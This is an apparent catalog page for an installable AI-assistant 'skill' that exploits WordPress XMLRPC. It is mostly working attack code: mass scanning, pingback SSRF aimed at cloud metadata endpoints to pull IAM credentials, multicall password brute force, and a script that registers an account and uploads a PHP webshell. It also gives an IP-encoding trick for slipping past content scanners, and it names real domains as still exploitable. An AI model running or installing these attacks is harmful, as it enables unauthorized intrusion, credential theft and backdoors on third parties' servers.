con un clic
xmlrpc-exploitation
Exploit XMLRPC multicall, pingback for brute force and SSRF.
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Menú
Exploit XMLRPC multicall, pingback for brute force and SSRF.
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Attack SAML SSO via XSW, signature strip, metadata extract.
Chain multiple vulns into critical impact attack paths.
Execute optimal kill chains for WordPress full compromise.
Escape Docker containers to host root via 5 techniques.
Catalog: 25 attacks, 18 WP, 8 CORS to match findings.
7-phase pentest pipeline from passive recon to exploitation.
| name | xmlrpc-exploitation |
| description | Exploit XMLRPC multicall, pingback for brute force and SSRF. |
| version | 1.0.0 |
| author | uphiago |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| metadata | {"tags":["recon","xmlrpc","wordpress","brute-force","SSRF","RCE"],"category":"recon","related_skills":["wp-mass-recon","cors-credential-wordpress","phpinfo-to-rce","cross-attack-chains","wordpress-full-compromise","port-service-discovery","error-log-mining"]} |
5-phase exploitation pipeline for WordPress XMLRPC endpoints. Covers bulk detection, method enumeration, SSRF via pingback.ping, amplified brute force via system.multicall (1000x amplification), and RCE via wp.uploadFile when open registration is present. XMLRPC is open on ~52% of WordPress targets found via wp-mass-recon.
wp-mass-recon detected XMLRPC returning HTTP 200 on POST.pingback.ping to cloud metadata endpoints.terminal tool with curl./xmlrpc.php returns 200 on POST with demo.sayHello).# Phase 1: Bulk detection on target list
while read -r domain; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 -X POST "https://$domain/xmlrpc.php" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
[[ "$code" == "200" ]] && echo "OPEN: $domain"
done < targets.txt
# Phase 2: Deep method enumeration
curl -sk -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
| Method | Capability | Severity |
|---|---|---|
demo.sayHello | Confirms XMLRPC is alive | Info |
system.listMethods | Enumerate all available methods | Info |
system.multicall | Execute multiple methods in ONE request | Critical — 1000x brute force amplification |
pingback.ping | SSRF — server makes outbound HTTP request | High — probe internal network, IMDS |
wp.getUsers | Enumerate WordPress users | Medium |
wp.getPosts | List published posts | Low |
wp.uploadFile | Upload file to media library | Critical — webshell when combined with open reg |
wp.getOptions | Read WordPress options (siteurl, admin_email) | Medium |
wp.getPostStatusList | Get post statuses | Low |
#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt
echo "domain,code,hello" > xmlrpc_open.csv
while read -r domain; do
resp=$(curl -sk --max-time 10 -X POST "https://$domain/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
if echo "$resp" | grep -q "Hello"; then
echo "$domain,200,yes" >> xmlrpc_open.csv
echo "[OPEN] $domain"
fi
done < targets.txt
TARGET="$1"
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-H "Accept-Encoding: identity" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sort
Key methods to look for: system.multicall, pingback.ping, wp.uploadFile, wp.getUsers, wp.getOptions.
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>$CALLBACK</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param>
</params>
</methodCall>"
If the callback receives a hit, the target is vulnerable to SSRF. Next, probe internal services (always include Accept-Encoding: identity to avoid LiteSpeed gzip):
# AWS IMDSv1
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://169.254.169.254/latest/meta-data/</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>'
# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
"EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
"webserver-role" "app-role" "default")
for role in "${ROLES[@]}"; do
result=$(curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://169.254.169.254/latest/meta-data/iam/security-credentials/$role</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>" 2>/dev/null)
fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
echo " role=$role -> faultCode ${fc:-no-fault}"
done
faultCode 0 on a pingback to an internal address confirms the request reached the target. faultCode 17 or 32 means blocked or unreachable.
When pingback.ping returns faultCode 0 but you cannot see the response content (ordinary WordPress behaviour), use timing differences to extract data character-by-character or enumerate IAM roles.
How it works: The pingback SSRF fetches the URL and the IMDS returns data. The WordPress server discards the response body (not a valid blog post URL), but the TIME spent reading the response correlates with response SIZE.
IAM Role Enumeration:
import subprocess, time
TARGET = "target.com"
def ssrf_time(url):
xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
start = time.perf_counter()
subprocess.run(["curl", "-sk", "-X", "POST",
f"https://{TARGET}/xmlrpc.php",
"-H", "Content-Type: text/xml", "-d", xml],
capture_output=True, timeout=15)
return time.perf_counter() - start
# Baseline — IMDS root response time
baseline = ssrf_time("http://169.254.169.254/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")
# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
"SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
t = ssrf_time(f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}")
exists = "FOUND" if t > baseline * 1.15 else "404"
print(f" {role}: {t:.3f}s -> {exists}")
From field (biglots.com, June 2026):
/meta-data/: 344ms (large response — list of paths)/iam/security-credentials/: 435ms (very large — IAM role listing)/instance-id: 301ms (small — short string)Pitfall: Network jitter can cause ±50ms variance. Run each test 3 times and use the median. If baseline variance exceeds 20%, this technique is unreliable.
system.multicall allows executing multiple XMLRPC methods in a single HTTP request. A single request can contain 100+ wp.getUsers calls with different credentials, giving 1000x amplification over sequential requests.
TARGET="$1"
USERNAME="admin"
WORDLIST="/root/tools/passwords.txt"
# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
xml += f'''<value><struct>
<member><name>methodName</name><value><string>wp.getUsers</string></value></member>
<member><name>params</name><value><array><data>
<value><string>{pw}</string></value>
</data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d @/tmp/multicall_payload.xml
A successful auth in the response will show user data instead of faultCode 403.
If the target has open registration AND XMLRPC with wp.uploadFile:
TARGET="$1"
# Step 1: Register user
curl -sk -X POST "https://$TARGET/wp-login.php?action=register" \
-d "user_login=attackusr&user_email=attacker@evil.com&wp-submit=Register"
# Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default
# Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject
ROLE_CHECK=$(curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then
echo "UPLOAD VIABLE: role is author+"
elif echo "$ROLE_CHECK" | grep -q "subscriber"; then
echo "SUBSCRIBER - upload blocked. Need escalation first:"
echo " a) Brute force admin (system.multicall 1000 pwd/req)"
echo " b) ElementsKit CVE-2023-6853 (get nonce from profile.php)"
echo " c) Check if default role changed by plugin"
exit 1
fi
# Step 3: Upload PHP webshell via XMLRPC
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')
curl -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\\\"1.0\\\"?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param>
<param><value><struct>
<member><name>name</name><value><string>shell.php</string></value></member>
<member><name>type</name><value><string>application/x-php</string></value></member>
<member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
</struct></value></param>
</params>
</methodCall>"
# Step 4: Access webshell
curl -sk "https://$TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"
XMLRPC is being patched over time, but some apparent regressions are false positives from detection methodology. Wave9->Wave12 retests (June 2026) revealed:
| Target | Wave9 Status | Wave12 Retest | Reality |
|---|---|---|---|
| restonic.com | HTTP 405 (blocked) | ACTIVE ~80 methods | FALSE POSITIVE — earlier test used curl -L which followed redirect |
| realpro.com | HTTP 405 (blocked) | ACTIVE ~80 methods | FALSE POSITIVE — same curl -L issue |
| wines.com | 76-80 methods, multicall active | 404 (was at /magical/xmlrpc.php) | REGRESSED — XMLRPC removed/relocated |
| biglots.com | 79 methods, pingback SSRF | HTTP 503 | REGRESSED — blocked at WAF level |
| toolking.com | Accessible | HTTP 403 | REGRESSED — blocked at WAF level |
Critical lesson: Never use curl -L for XMLRPC probes — redirect-following loses the XMLRPC response body (already documented in Pitfalls). Always retest with curl -s (no -L) before declaring regression. restonic.com and realpro.com are still fully exploitable as of Wave12.
All 15 paths below returned faultCode 0 (SSRF ACCEPTED) via XMLRPC pingback:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://127.0.0.1/ http://127.0.0.1:8080/ http://127.0.0.1:9000/
http://localhost/ http://localhost:8080/ http://localhost:9000/
re.search(r'faultCode[^0-9]*([0-9]+)', r.text) to reliably extract fault codes. faultCode 0 = accepted, faultCode 17 = URL not found, faultCode 32 = blocked/error.system.listMethods but return faultCode on actual use. Test with a single call before building multi-call payloads.curl -L with XMLRPC POST will follow a 301/302 redirect, losing the actual XMLRPC response. Always use curl -s WITHOUT -L for XMLRPC probes. Confirmed: restonic.com and biglots.com appeared blocked with -L but were fully open when tested without redirect-follow.isAdmin, blogid, or blogName strings. Use smaller batch sizes (50 passwords/request instead of 100).169.254.169.254 or 127.0.0.1 in curl/python commands can be bypassed by converting to decimal: 2852039166 = 169.254.169.254, 2130706433 = 127.0.0.1. Use struct.unpack('!I', socket.inet_aton('169.254.169.254'))[0] in Python to convert. This bypasses content-based scanning but the server still resolves correctly.-P (Perl regex). Use grep -oE with extended regex or pipe through python3 -c "import sys,re; ..." instead. Common symptom: grep: unrecognized option: P.isAdmin, blogid, or blogName — not just absence of faultCode 403. Check for ALL three keywords.-H "Accept-Encoding: identity" to curl, or pipe through Python gunzip. Without this, grep finds no faultCodes in the compressed binary.-P (Perl regex). Use python3 -c "import sys, re; ..." for complex regex instead of grep -oP.wp.getProfile before attempting upload. If subscriber, escalate (brute force admin, plugin CVE, or app passwords).\n- Mailinator password reset flow. WordPress registration sends a reset LINK (not password). You must: (1) read Mailinator inbox to extract the key=... from the URL, (2) GET the reset page to get wp-resetpass-* cookie, (3) POST new password. The rp_key parameter from the email URL is required — the HTML form may not auto-fill it.<!ENTITY xxe SYSTEM "file:///etc/passwd"> as bonus vector.X-aws-ec2-metadata-token header (PUT to /latest/api/token). Pingback SSRF can only set the URL target, not headers. IMDSv1 is the attack surface.demo.sayHello MUST return Hello! in the response body to confirm XMLRPC is functional.pingback.ping SSRF MUST produce a callback on YOUR controlled server (not just faultCode 0).system.multicall MUST return distinct responses for each embedded method call.id or whoami output from the uploaded webshell.faultCode 0 on a role path without a Collaborator callback = UNCONFIRMED — treat as "SSRF possible but needs OOB verification."